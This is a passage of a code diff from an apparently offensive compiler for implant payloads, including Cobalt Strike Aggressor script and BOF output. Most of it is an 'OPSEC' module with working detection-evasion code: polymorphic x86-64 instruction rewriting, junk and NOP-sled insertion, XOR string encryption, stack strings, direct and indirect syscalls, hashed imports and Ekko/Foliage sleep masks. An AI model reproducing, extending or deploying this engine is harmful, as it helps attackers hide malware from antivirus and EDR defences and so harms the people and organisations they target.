let dbg = format_dbg(inp, &blob.dbg_marks, &blob.dbg_vars);
|
||||
ensure_parent_dir(&dbg_path)?;
|
||||
fs::write(&dbg_path, dbg).map_err(|e| e.to_string())?;
|
||||
eprintln!("wrote {} ({} entries)", dbg_path, blob.dbg_marks.len());
|
||||
}
|
||||
if let Some(cna) = &blob.cna_script {
|
||||
let stem = output_stem(&out);
|
||||
let cna_path = format!("{stem}.cna");
|
||||
ensure_parent_dir(&cna_path)?;
|
||||
fs::write(&cna_path, cna).map_err(|e| e.to_string())?;
|
||||
eprintln!("wrote {} ({} bytes, Aggressor script)",
|
||||
cna_path, cna.len());
|
||||
}
|
||||
}
|
||||
"dump" => {
|
||||
let mut gc_mode = codegen::GcMode::Auto;
|
||||
let mut i = 3;
|
||||
while i < args.len() {
|
||||
let a = &args[i];
|
||||
if let Some(v) = a.strip_prefix("--gc=") {
|
||||
gc_mode = parse_gc_mode(v)?; i += 1;
|
||||
} else {
|
||||
return Err(format!("unknown arg: {a}"));
|
||||
}
|
||||
}
|
||||
let blob = compile(&args[2], gc_mode, codegen::BuildKind::Standard,
|
||||
polymorphism::OpsecConfig::default())?;
|
||||
dump_hex(&blob.code);
|
||||
eprintln!("total {} bytes", blob.code.len());
|
||||
}
|
||||
other => return Err(format!("unknown subcommand: {other}")),
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn main() -> ExitCode {
|
||||
match run() {
|
||||
Ok(()) => ExitCode::SUCCESS,
|
||||
Err(e) => { eprintln!("error: {e}"); ExitCode::FAILURE }
|
||||
}
|
||||
}
|
||||
+1045
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,952 @@
|
||||
|
||||
use crate::encoder::{Encoder, Reg64, Cond};
|
||||
|
||||
// Configuration
|
||||
|
||||
/// Active OPSEC techniques. Default = none.
|
||||
#[derive(Debug, Clone, Default)]
|
||||
pub struct OpsecConfig {
|
||||
pub poly: bool,
|
||||
pub poly_deep: bool,
|
||||
pub junk_level: u8,
|
||||
pub reorder_functions: bool,
|
||||
/// XOR-encrypt rdata/data + decryptor at entry. Standard mode only;
|
||||
/// BOF rdata is RO.
|
||||
pub strings_xor: bool,
|
||||
pub nop_sled: bool,
|
||||
/// Auto-include stdlib/opsec/direct_syscall.etpy's
|
||||
/// [Override] syscall stub.
|
||||
pub direct_syscalls: bool,
|
||||
/// Auto-include stdlib/opsec/indirect_syscall.etpy. Mutually
|
||||
/// exclusive with direct_syscalls (same slot).
|
||||
pub indirect_syscalls: bool,
|
||||
pub hashed_imports: bool,
|
||||
/// Auto-included sleep-mask template ([Hook]).
|
||||
/// Variants differ in wait primitive and cipher.
|
||||
pub sleep_mask: SleepMaskVariant,
|
||||
/// Rebuild short string literals on the stack via mov [rsp+N],
|
||||
/// imm64 runs instead of .rdata pointers. Composes with
|
||||
/// strings_xor (stack-built strings excluded from the XOR pool).
|
||||
pub stack_strings: bool,
|
||||
/// None = system-time nanos at build time; Some = deterministic.
|
||||
pub seed: Option<u64>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub enum SleepMaskVariant {
|
||||
#[default]
|
||||
None,
|
||||
Simple,
|
||||
Ekko,
|
||||
Foliage,
|
||||
}
|
||||
|
||||
impl SleepMaskVariant {
|
||||
/// Stdlib sub-path the driver auto-uses. None means
|
||||
/// "splice nothing - the operator wrote their own".
|
||||
pub fn stdlib_subpath(self) -> Option<&'static str> {
|
||||
match self {
|
||||
Self::None => None,
|
||||
Self::Simple => Some("opsec/sleep_simple.etpy"),
|
||||
Self::Ekko => Some("opsec/sleep_ekko.etpy"),
|
||||
Self::Foliage => Some("opsec/sleep_foliage.etpy"),
|
||||
}
|
||||
}
|
||||
pub fn name(self) -> &'static str {
|
||||
match self {
|
||||
Self::None => "none",
|
||||
Self::Simple => "simple",
|
||||
Self::Ekko => "ekko",
|
||||
Self::Foliage => "foliage",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl OpsecConfig {
|
||||
pub fn parse(s: &str) -> Result<Self, String> {
|
||||
let mut cfg = Self::default();
|
||||
let trimmed = s.trim();
|
||||
if trimmed.is_empty() { return Ok(cfg); }
|
||||
for token in trimmed.split(',') {
|
||||
let raw = token.trim();
|
||||
match raw {
|
||||
"none" | "" => {}
|
||||
"all" => {
|
||||
cfg.poly = true;
|
||||
cfg.poly_deep = true;
|
||||
cfg.strings_xor = true;
|
||||
cfg.nop_sled = true;
|
||||
cfg.direct_syscalls = true;
|
||||
cfg.hashed_imports = true;
|
||||
cfg.stack_strings = true;
|
||||
}
|
||||
"poly" => cfg.poly = true,
|
||||
"poly=deep"
|
||||
| "polydeep"
|
||||
| "poly_deep" => { cfg.poly = true; cfg.poly_deep = true; }
|
||||
"reorder"
|
||||
| "reorder_fns"
|
||||
| "reorder_functions" => cfg.reorder_functions = true,
|
||||
_ if raw.starts_with("junk=") => {
|
||||
let v = raw.split_once('=').map(|(_, v)| v).unwrap_or("");
|
||||
let n: u8 = v.trim().parse().map_err(|_| format!(
|
||||
"junk={}: expected an integer level in 1..=5", v
|
||||
))?;
|
||||
if !(1..=5).contains(&n) {
|
||||
return Err(format!(
|
||||
"junk={}: level must be in 1..=5 (0 = off)", n
|
||||
));
|
||||
}
|
||||
// Junk insertion needs poly_deep's instruction-
|
||||
// boundary detection. Auto-enable both so a
|
||||
// bare junk=N flag does what the operator means.
|
||||
cfg.poly = true;
|
||||
cfg.poly_deep = true;
|
||||
cfg.junk_level = n;
|
||||
}
|
||||
"strings_xor"
|
||||
| "strings" => cfg.strings_xor = true,
|
||||
"stack_strings"
|
||||
| "stackstr" => cfg.stack_strings = true,
|
||||
"nop_sled"
|
||||
| "nops" => cfg.nop_sled = true,
|
||||
"direct_syscalls"
|
||||
| "syscall"
|
||||
| "syscalls" => cfg.direct_syscalls = true,
|
||||
"indirect_syscalls"
|
||||
| "indirect"
|
||||
| "isyscalls" => cfg.indirect_syscalls = true,
|
||||
"hashed_imports"
|
||||
| "hashed"
|
||||
| "import_hash"
|
||||
| "ihash" => cfg.hashed_imports = true,
|
||||
_ if raw.starts_with("sleep_mask=") || raw.starts_with("sleepmask=") => {
|
||||
let v = raw.split_once('=').map(|(_, v)| v).unwrap_or("");
|
||||
cfg.sleep_mask = match v.trim() {
|
||||
"none" | "" => SleepMaskVariant::None,
|
||||
"simple" | "xor" => SleepMaskVariant::Simple,
|
||||
"ekko" => SleepMaskVariant::Ekko,
|
||||
"foliage" => SleepMaskVariant::Foliage,
|
||||
other => return Err(format!(
|
||||
"unknown sleep_mask variant `{other}` - valid: \
|
||||
simple, ekko, foliage, none"
|
||||
)),
|
||||
};
|
||||
}
|
||||
other => return Err(format!(
|
||||
"unknown opsec mode `{other}` - valid: poly, strings_xor, \
|
||||
stack_strings, nop_sled, direct_syscalls, \
|
||||
indirect_syscalls, hashed_imports, \
|
||||
sleep_mask=<simple|ekko|foliage>, all, none"
|
||||
)),
|
||||
}
|
||||
}
|
||||
// Indirect wins over direct when both are asked (e.g. via
|
||||
// --opsec=all,indirect_syscalls). Both occupy the
|
||||
// [Override] slot, so we have to pick one.
|
||||
if cfg.indirect_syscalls {
|
||||
cfg.direct_syscalls = false;
|
||||
}
|
||||
Ok(cfg)
|
||||
}
|
||||
|
||||
/// Resolve --seed=... into a concrete u64.
|
||||
/// "random" to system-time nanos; hex / decimal to that value.
|
||||
pub fn parse_seed(s: &str) -> Result<u64, String> {
|
||||
let s = s.trim();
|
||||
if s.is_empty() || s == "random" {
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
let nanos = SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.map(|d| d.as_nanos() as u64)
|
||||
.unwrap_or(0xDEADBEEF_DEADBEEF);
|
||||
return Ok(nanos);
|
||||
}
|
||||
if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) {
|
||||
return u64::from_str_radix(h, 16)
|
||||
.map_err(|e| format!("--seed `{s}`: {e}"));
|
||||
}
|
||||
s.parse::<u64>().map_err(|e| format!("--seed `{s}`: {e}"))
|
||||
}
|
||||
|
||||
/// True iff any technique is enabled - codegen / driver use
|
||||
/// this to short-circuit when OPSEC is fully off.
|
||||
pub fn any(&self) -> bool {
|
||||
self.poly || self.strings_xor || self.nop_sled
|
||||
|| self.direct_syscalls || self.indirect_syscalls
|
||||
|| self.hashed_imports || self.stack_strings
|
||||
|| self.sleep_mask != SleepMaskVariant::None
|
||||
|| self.reorder_functions
|
||||
|| self.junk_level > 0
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
pub struct Rng { state: u64 }
|
||||
|
||||
impl Rng {
|
||||
pub fn new(seed: u64) -> Self {
|
||||
// xorshift requires non-zero state.
|
||||
Self { state: if seed == 0 { 0xDEAD_BEEF_CAFE_F00D } else { seed } }
|
||||
}
|
||||
pub fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.state;
|
||||
x ^= x << 13;
|
||||
x ^= x >> 7;
|
||||
x ^= x << 17;
|
||||
self.state = x;
|
||||
x
|
||||
}
|
||||
pub fn next_u8(&mut self) -> u8 { self.next_u64() as u8 }
|
||||
/// Uniform integer in 0..n. n == 0 returns 0.
|
||||
pub fn range(&mut self, n: u64) -> u64 {
|
||||
if n == 0 { 0 } else { self.next_u64() % n }
|
||||
}
|
||||
/// One-in-n probability, returns true with rate 1/n.
|
||||
pub fn one_in(&mut self, n: u64) -> bool {
|
||||
self.range(n) == 0
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
const NOP_VARIANTS: &[&[u8]] = &[
|
||||
&[0x90], // 1
|
||||
&[0x66, 0x90], // 2
|
||||
&[0x0F, 0x1F, 0x00], // 3
|
||||
&[0x0F, 0x1F, 0x40, 0x00], // 4
|
||||
&[0x0F, 0x1F, 0x44, 0x00, 0x00], // 5
|
||||
&[0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00], // 6
|
||||
&[0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00], // 7
|
||||
&[0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 8
|
||||
&[0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 9
|
||||
];
|
||||
|
||||
/// Emit a single multi-byte NOP of exactly n bytes (1..=9). Used
|
||||
/// by codegen-level NOP-sled insertion. Larger sleds chain these.
|
||||
pub fn emit_nop_block(enc: &mut Encoder, n: usize) {
|
||||
let n = n.clamp(1, NOP_VARIANTS.len());
|
||||
for &b in NOP_VARIANTS[n - 1] {
|
||||
enc.emit_raw(b);
|
||||
}
|
||||
}
|
||||
|
||||
/// Emit total bytes worth of NOPs by chaining 1-9 byte variants.
|
||||
/// The block sizes themselves are randomised via rng so two
|
||||
/// builds with the same total produce different byte sequences.
|
||||
pub fn emit_nop_sled(enc: &mut Encoder, rng: &mut Rng, total: usize) {
|
||||
let mut remaining = total;
|
||||
while remaining > 0 {
|
||||
let max = remaining.min(NOP_VARIANTS.len());
|
||||
let block = 1 + (rng.range(max as u64) as usize);
|
||||
emit_nop_block(enc, block);
|
||||
remaining -= block;
|
||||
}
|
||||
}
|
||||
|
||||
// Post-codegen pass entry point.
|
||||
|
||||
pub fn transform(enc: &mut Encoder, cfg: &OpsecConfig, rng: &mut Rng) {
|
||||
if !cfg.any() { return; }
|
||||
if cfg.poly {
|
||||
let reloc_ranges = enc.code_reloc_ranges();
|
||||
substitute_equivalents(enc, rng, &reloc_ranges);
|
||||
redecompose_nop_runs(enc, rng, &reloc_ranges);
|
||||
}
|
||||
if cfg.poly_deep {
|
||||
expand_equivalents(enc, rng, cfg.junk_level);
|
||||
}
|
||||
if cfg.strings_xor {
|
||||
encrypt_rdata_data(enc, rng);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// True if i..i+len overlaps any reloc patch site.
|
||||
fn overlaps_reloc(i: usize, len: usize, reloc_ranges: &[std::ops::Range<usize>]) -> bool {
|
||||
let end = i + len;
|
||||
reloc_ranges.iter().any(|r| i < r.end && r.start < end)
|
||||
}
|
||||
|
||||
/// Top-level: walk the code buffer, attempt each known
|
||||
/// transformation family at every position. First match wins
|
||||
/// (transforms don't compose at a single site).
|
||||
fn substitute_equivalents(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
) {
|
||||
let mut i = 0;
|
||||
while i < enc.code.len() {
|
||||
let consumed =
|
||||
try_xor_sub_swap(&mut enc.code, rng, i, reloc_ranges)
|
||||
.or_else(|| try_mov_reg_reg_swap(&mut enc.code, rng, i, reloc_ranges))
|
||||
.or_else(|| try_test_or_and_swap(&mut enc.code, rng, i, reloc_ranges))
|
||||
.unwrap_or(1);
|
||||
i += consumed;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
fn is_rex_w(b: u8) -> bool {
|
||||
(b & 0xF0) == 0x40 && (b & 0x08) != 0
|
||||
}
|
||||
|
||||
fn try_xor_sub_swap(
|
||||
code: &mut [u8],
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
) -> Option<usize> {
|
||||
// 2-byte form: 31 /r, modrm.mod=11, reg == rm.
|
||||
if i + 2 <= code.len()
|
||||
&& code[i] == 0x31
|
||||
&& (code[i + 1] & 0xC0) == 0xC0
|
||||
&& ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7)
|
||||
&& !overlaps_reloc(i, 2, reloc_ranges)
|
||||
{
|
||||
if rng.one_in(2) {
|
||||
code[i] = 0x29;
|
||||
}
|
||||
return Some(2);
|
||||
}
|
||||
// Also accept the already-substituted form so the pass is
|
||||
// idempotent across multiple builds with the same seed.
|
||||
if i + 2 <= code.len()
|
||||
&& code[i] == 0x29
|
||||
&& (code[i + 1] & 0xC0) == 0xC0
|
||||
&& ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7)
|
||||
&& !overlaps_reloc(i, 2, reloc_ranges)
|
||||
{
|
||||
if rng.one_in(2) {
|
||||
code[i] = 0x31;
|
||||
}
|
||||
return Some(2);
|
||||
}
|
||||
|
||||
// 3-byte REX form: REX.W (any combo of R/X/B), 31|29 /r,
|
||||
// modrm.mod=11, modrm.reg == modrm.rm.
|
||||
if i + 3 <= code.len()
|
||||
&& is_rex_w(code[i])
|
||||
&& (code[i] & 0x02) == 0 // X must be 0
|
||||
&& (code[i + 1] == 0x31 || code[i + 1] == 0x29)
|
||||
&& (code[i + 2] & 0xC0) == 0xC0
|
||||
&& ((code[i + 2] >> 3) & 7) == (code[i + 2] & 7)
|
||||
&& ((code[i] & 0x04) >> 2) == (code[i] & 0x01) // REX.R == REX.B
|
||||
&& !overlaps_reloc(i, 3, reloc_ranges)
|
||||
{
|
||||
if rng.one_in(2) {
|
||||
code[i + 1] ^= 0x31 ^ 0x29; // flip between the two opcodes
|
||||
}
|
||||
return Some(3);
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
|
||||
fn try_mov_reg_reg_swap(
|
||||
code: &mut [u8],
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
) -> Option<usize> {
|
||||
if i + 3 > code.len() { return None; }
|
||||
let rex = code[i];
|
||||
let opcode = code[i + 1];
|
||||
let modrm = code[i + 2];
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x02) != 0 { return None; } // X must be 0
|
||||
|
||||
let in_mr = opcode == 0x89 && (modrm & 0xC0) == 0xC0;
|
||||
let in_rm = opcode == 0x8B && (modrm & 0xC0) == 0xC0;
|
||||
let in_lea = opcode == 0x8D && (modrm & 0xC0) == 0x00 // mod = 00
|
||||
&& (modrm & 7) != 4 // not SIB
|
||||
&& (modrm & 7) != 5; // not RIP-relative
|
||||
|
||||
if !(in_mr || in_rm || in_lea) { return None; }
|
||||
if overlaps_reloc(i, 3, reloc_ranges) { return None; }
|
||||
|
||||
// Decode into canonical (dst_low3, src_low3, dst_ext, src_ext).
|
||||
let reg_field = (modrm >> 3) & 7;
|
||||
let rm_field = modrm & 7;
|
||||
let rex_r = (rex >> 2) & 1;
|
||||
let rex_b = rex & 1;
|
||||
|
||||
let (dst_low3, src_low3, dst_ext, src_ext) = if in_mr {
|
||||
// MR: reg = src, rm = dst
|
||||
(rm_field, reg_field, rex_b == 1, rex_r == 1)
|
||||
} else {
|
||||
// RM and LEA: reg = dst, rm = src
|
||||
(reg_field, rm_field, rex_r == 1, rex_b == 1)
|
||||
};
|
||||
|
||||
let lea_ok = src_low3 != 4 && src_low3 != 5;
|
||||
let n = if lea_ok { 3 } else { 2 };
|
||||
let pick = rng.range(n as u64) as u8;
|
||||
let target = match pick { 0 => 0x89, 1 => 0x8B, _ => 0x8D };
|
||||
|
||||
let (new_reg_field, new_rm_field, new_rex_r, new_rex_b, new_mod) = match target {
|
||||
0x89 => {
|
||||
// MR: reg = src, rm = dst, mod = 11
|
||||
(src_low3, dst_low3, src_ext, dst_ext, 0xC0u8)
|
||||
}
|
||||
0x8B => {
|
||||
// RM: reg = dst, rm = src, mod = 11
|
||||
(dst_low3, src_low3, dst_ext, src_ext, 0xC0u8)
|
||||
}
|
||||
_ /* 0x8D */ => {
|
||||
// LEA [reg]: reg = dst, rm = src, mod = 00
|
||||
(dst_low3, src_low3, dst_ext, src_ext, 0x00u8)
|
||||
}
|
||||
};
|
||||
|
||||
let new_rex = 0x48
|
||||
| (rex & 0x08) // W (already 1)
|
||||
| ((new_rex_r as u8) << 2)
|
||||
| (new_rex_b as u8);
|
||||
let new_modrm = new_mod | ((new_reg_field & 7) << 3) | (new_rm_field & 7);
|
||||
|
||||
code[i] = new_rex;
|
||||
code[i + 1] = target;
|
||||
code[i + 2] = new_modrm;
|
||||
Some(3)
|
||||
}
|
||||
|
||||
|
||||
fn try_test_or_and_swap(
|
||||
code: &mut [u8],
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
) -> Option<usize> {
|
||||
if i + 3 > code.len() { return None; }
|
||||
let rex = code[i];
|
||||
let opcode = code[i + 1];
|
||||
let modrm = code[i + 2];
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x02) != 0 { return None; } // X = 0
|
||||
|
||||
// We only act on the same-register form; otherwise or/and
|
||||
// would actually mutate the destination.
|
||||
if (modrm & 0xC0) != 0xC0 { return None; }
|
||||
if ((modrm >> 3) & 7) != (modrm & 7) { return None; }
|
||||
if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } // R == B
|
||||
|
||||
let is_test = opcode == 0x85;
|
||||
let is_or = opcode == 0x09;
|
||||
let is_and = opcode == 0x21;
|
||||
if !(is_test || is_or || is_and) { return None; }
|
||||
if overlaps_reloc(i, 3, reloc_ranges) { return None; }
|
||||
|
||||
// Pick one of the three opcodes uniformly - staying on the
|
||||
// original is a valid outcome.
|
||||
let pick = rng.range(3);
|
||||
code[i + 1] = match pick { 0 => 0x85, 1 => 0x09, _ => 0x21 };
|
||||
Some(3)
|
||||
}
|
||||
|
||||
|
||||
fn nop_prefix_len(code: &[u8]) -> usize {
|
||||
// Try longest first; NOP_VARIANTS is ordered 1..=9.
|
||||
for n in (1..=NOP_VARIANTS.len()).rev() {
|
||||
let v = NOP_VARIANTS[n - 1];
|
||||
if code.len() >= v.len() && &code[..v.len()] == v {
|
||||
return v.len();
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
fn redecompose_nop_runs(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
) {
|
||||
let mut i = 0;
|
||||
while i < enc.code.len() {
|
||||
// Find the start of a NOP run.
|
||||
let n0 = nop_prefix_len(&enc.code[i..]);
|
||||
if n0 == 0 { i += 1; continue; }
|
||||
|
||||
// Walk forward to find the total run length.
|
||||
let start = i;
|
||||
let mut j = i + n0;
|
||||
while j < enc.code.len() {
|
||||
let n = nop_prefix_len(&enc.code[j..]);
|
||||
if n == 0 { break; }
|
||||
j += n;
|
||||
}
|
||||
let run_len = j - start;
|
||||
|
||||
if !overlaps_reloc(start, run_len, reloc_ranges) && run_len >= 2 {
|
||||
let mut staging: Vec<u8> = Vec::with_capacity(run_len);
|
||||
let mut remaining = run_len;
|
||||
while remaining > 0 {
|
||||
let max = remaining.min(NOP_VARIANTS.len());
|
||||
let block = 1 + (rng.range(max as u64) as usize);
|
||||
staging.extend_from_slice(NOP_VARIANTS[block - 1]);
|
||||
remaining -= block;
|
||||
}
|
||||
enc.code[start..start + run_len].copy_from_slice(&staging);
|
||||
}
|
||||
i = j;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// True if any label position falls strictly inside at..at+len.
|
||||
/// A label exactly at at is allowed (it points to the start of
|
||||
/// the replacement sequence, which is the same byte offset).
|
||||
fn label_inside(at: usize, len: usize, label_positions: &[usize]) -> bool {
|
||||
label_positions.iter().any(|&p| p > at && p < at + len)
|
||||
}
|
||||
|
||||
/// Walk the code buffer, splicing same-semantic length-changing
|
||||
/// rewrites at each candidate site. Re-fetches reloc and label
|
||||
/// positions inside the loop because both shift with every splice.
|
||||
fn expand_equivalents(enc: &mut Encoder, rng: &mut Rng, junk_level: u8) {
|
||||
let mut i = 0;
|
||||
while i < enc.code.len() {
|
||||
let reloc_ranges = enc.code_reloc_ranges();
|
||||
let label_positions = enc.code_label_positions();
|
||||
let consumed = try_expand_xor_reg_reg(
|
||||
enc, rng, i, &reloc_ranges, &label_positions,
|
||||
)
|
||||
.or_else(|| try_expand_mov_reg_reg(
|
||||
enc, rng, i, &reloc_ranges, &label_positions,
|
||||
))
|
||||
.or_else(|| try_expand_test_reg_reg(
|
||||
enc, rng, i, &reloc_ranges, &label_positions,
|
||||
))
|
||||
.or_else(|| try_expand_mov_reg_imm64(
|
||||
enc, rng, i, &reloc_ranges, &label_positions,
|
||||
))
|
||||
.unwrap_or(0);
|
||||
if consumed > 0 {
|
||||
let after = i + consumed;
|
||||
let junk_inserted = maybe_insert_junk(
|
||||
enc, rng, after, junk_level, &reloc_ranges,
|
||||
&label_positions,
|
||||
);
|
||||
i = after + junk_inserted;
|
||||
} else {
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn try_expand_xor_reg_reg(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
label_positions: &[usize],
|
||||
) -> Option<usize> {
|
||||
if i + 2 <= enc.code.len()
|
||||
&& enc.code[i] == 0x31
|
||||
&& (enc.code[i + 1] & 0xC0) == 0xC0
|
||||
&& ((enc.code[i + 1] >> 3) & 7) == (enc.code[i + 1] & 7)
|
||||
&& !overlaps_reloc(i, 2, reloc_ranges)
|
||||
{
|
||||
let modrm = enc.code[i + 1];
|
||||
let dst_lo3 = modrm & 7;
|
||||
return Some(expand_xor_2byte(enc, rng, i, dst_lo3, label_positions));
|
||||
}
|
||||
|
||||
if i + 3 > enc.code.len() { return None; }
|
||||
let rex = enc.code[i];
|
||||
let op = enc.code[i + 1];
|
||||
let modrm = enc.code[i + 2];
|
||||
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x02) != 0 { return None; } // X must be 0
|
||||
if op != 0x31 { return None; } // xor /r
|
||||
if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11
|
||||
if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // reg == rm
|
||||
if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; }
|
||||
if overlaps_reloc(i, 3, reloc_ranges) { return None; }
|
||||
|
||||
Some(expand_xor_3byte(enc, rng, i, rex, modrm, label_positions))
|
||||
}
|
||||
|
||||
fn expand_xor_2byte(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
dst_lo3: u8,
|
||||
label_positions: &[usize],
|
||||
) -> usize {
|
||||
let dice = rng.range(20);
|
||||
|
||||
// Variant A (~30%): keep original.
|
||||
if dice < 6 { return 2; }
|
||||
|
||||
// Variant B (~25%): and reg, 0.
|
||||
if dice < 11 {
|
||||
let new_modrm = 0xC0 | (4 << 3) | dst_lo3;
|
||||
let new_bytes = [0x83, new_modrm, 0x00];
|
||||
if label_inside(i, 2, label_positions) { return 2; }
|
||||
enc.splice(i, 2, &new_bytes);
|
||||
return new_bytes.len();
|
||||
}
|
||||
|
||||
// Variant C (~25%): mov reg, 0 via B8+rd imm32.
|
||||
if dice < 16 {
|
||||
let new_bytes = [0xB8 | dst_lo3, 0x00, 0x00, 0x00, 0x00];
|
||||
if label_inside(i, 2, label_positions) { return 2; }
|
||||
enc.splice(i, 2, &new_bytes);
|
||||
return new_bytes.len();
|
||||
}
|
||||
|
||||
// Variant D (~20%): nop + original.
|
||||
let new_bytes = [0x90, 0x31, enc.code[i + 1]];
|
||||
if label_inside(i, 2, label_positions) { return 2; }
|
||||
enc.splice(i, 2, &new_bytes);
|
||||
new_bytes.len()
|
||||
}
|
||||
|
||||
fn expand_xor_3byte(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
rex: u8,
|
||||
modrm: u8,
|
||||
label_positions: &[usize],
|
||||
) -> usize {
|
||||
let dice = rng.range(20);
|
||||
|
||||
if dice < 6 { return 3; }
|
||||
|
||||
if dice < 11 {
|
||||
let dst_rm = modrm & 7;
|
||||
let new_modrm = 0xC0 | (4 << 3) | dst_rm;
|
||||
let new_rex = (rex & !0x04) | ((rex & 0x01) << 2);
|
||||
let new_bytes = [new_rex, 0x83, new_modrm, 0x00];
|
||||
if label_inside(i, 3, label_positions) { return 3; }
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return new_bytes.len();
|
||||
}
|
||||
|
||||
if dice < 16 {
|
||||
let dst_rm = modrm & 7;
|
||||
let new_modrm = 0xC0 | dst_rm;
|
||||
let new_rex = rex & !0x04;
|
||||
let new_bytes = [new_rex, 0xC7, new_modrm, 0x00, 0x00, 0x00, 0x00];
|
||||
if label_inside(i, 3, label_positions) { return 3; }
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return new_bytes.len();
|
||||
}
|
||||
|
||||
let new_bytes = [0x48, 0x90, rex, 0x31, modrm];
|
||||
if label_inside(i, 3, label_positions) { return 3; }
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
new_bytes.len()
|
||||
}
|
||||
|
||||
|
||||
fn try_expand_mov_reg_reg(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
label_positions: &[usize],
|
||||
) -> Option<usize> {
|
||||
if i + 3 > enc.code.len() { return None; }
|
||||
let rex = enc.code[i];
|
||||
let op = enc.code[i + 1];
|
||||
let modrm = enc.code[i + 2];
|
||||
|
||||
if !is_rex_w(rex) { return None; }
|
||||
if (rex & 0x02) != 0 { return None; }
|
||||
if op != 0x89 { return None; } // mov MR
|
||||
if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11
|
||||
if overlaps_reloc(i, 3, reloc_ranges) { return None; }
|
||||
|
||||
// src_low3 is modrm.reg; dst_low3 is modrm.rm.
|
||||
let src_lo3 = (modrm >> 3) & 7;
|
||||
let dst_lo3 = modrm & 7;
|
||||
// REX.R extends src; REX.B extends dst.
|
||||
let src_ext = (rex & 0x04) != 0;
|
||||
let dst_ext = (rex & 0x01) != 0;
|
||||
|
||||
let dice = rng.range(20);
|
||||
|
||||
// Variant A: keep original.
|
||||
if dice < 6 {
|
||||
return Some(3);
|
||||
}
|
||||
|
||||
if dice < 13 {
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
let mut new_bytes: Vec<u8> = Vec::with_capacity(4);
|
||||
// push src
|
||||
if src_ext { new_bytes.push(0x41); }
|
||||
new_bytes.push(0x50 | src_lo3);
|
||||
// pop dst
|
||||
if dst_ext { new_bytes.push(0x41); }
|
||||
new_bytes.push(0x58 | dst_lo3);
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return Some(new_bytes.len());
|
||||
}
|
||||
|
||||
// Variant C: keep + prepend REX.W nop (48 90).
|
||||
if dice < 17 {
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
let new_bytes = [0x48, 0x90, rex, op, modrm];
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
return Some(new_bytes.len());
|
||||
}
|
||||
|
||||
// Variant D: convert MR (89) to RM (8B) with swapped modrm.
|
||||
// Same length, different bytes - a deep-style mirror of the
|
||||
// shallow-pass MR/RM swap with deterministic firing.
|
||||
if label_inside(i, 3, label_positions) { return Some(3); }
|
||||
// For 8B (RM): modrm.reg = dst_low3, modrm.rm = src_low3.
|
||||
// REX.R extends dst, REX.B extends src.
|
||||
let new_rex = (rex & !0x05)
|
||||
| (if dst_ext { 0x04 } else { 0 })
|
||||
| (if src_ext { 0x01 } else { 0 });
|
||||
let new_modrm = 0xC0 | (dst_lo3 << 3) | src_lo3;
|
||||
let new_bytes = [new_rex, 0x8B, new_modrm];
|
||||
enc.splice(i, 3, &new_bytes);
|
||||
Some(new_bytes.len())
|
||||
}
|
||||
|
||||
|
||||
fn try_expand_test_reg_reg(
|
||||
enc: &mut Encoder,
|
||||
rng: &mut Rng,
|
||||
i: usize,
|
||||
reloc_ranges: &[std::ops::Range<usize>],
|
||||
label_positions: &[usize],
|
||||
) -> Option<usize> {
|
||||
if i + 3 > enc.code.len() { return None; }
|
||||
let rex = enc.code[i];
|
||||
let op = enc.code[i + 1];
|
||||
